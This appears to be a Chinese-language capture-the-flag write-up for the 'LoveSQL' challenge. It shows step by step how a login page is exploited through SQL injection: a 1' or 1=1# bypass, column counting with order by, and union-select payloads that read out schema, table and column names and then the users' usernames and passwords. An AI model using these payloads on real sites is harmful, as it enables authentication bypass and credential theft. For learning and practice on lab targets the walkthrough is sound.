1. 程式人生 > 實用技巧 >[極客大挑戰 2019]LoveSQL

[極客大挑戰 2019]LoveSQL

0x00

開啟網頁

首先試試萬能密碼

賬戶:隨意
密碼:1' or 1=1#


得到一段加密的密文,應該是MD5,結果找了很多網站也沒能解開
看來只能通過其他思路了,既然存在萬能密碼那麼肯定存在SQL注入
我們先來構造一個payload:

/check.php?username=123&password=1' order by 3%23
## %23為#的url編碼,url中#為預留符號,直接在url中輸入#可能會達不到自己想要的結果


繼續

/check.php?username=123&password=1' order by 4%23


報錯了,這說明該表存在三個欄位
我們可以使用聯合注入,看看是否存在回顯,以及回顯的位置,使用以以下payload:

/check.php?username=123&password=1' union select 1,2,3%23


我們可以看到存在兩處回顯,我們接著去查詢一下當前使用的資料庫,使用如下payload

/check.php?username=123&password=1' union select 1,database(),3%23


接著通過已知的庫名去查詢該庫中的表名,使用如下payload:

/check.php?username=admin&password=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23


我們查詢後發現,該庫中存在兩個表,繼續查詢l0ve1ysq1表中的欄位,使用如下payload:

/check.php?username=123&password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='l0ve1ysq1'%23


可以看到存在三個欄位,我們接下來同時查詢一下username和password欄位

/check.php?username=123&password=1' union select 1,(select group_concat(username) from l0ve1ysq1),(select group_concat(password) from l0ve1ysq1)%23


可以看到返回的結果很亂,我們可以通過網站原始碼檢視

在返回的結果中得到了我們想要的flag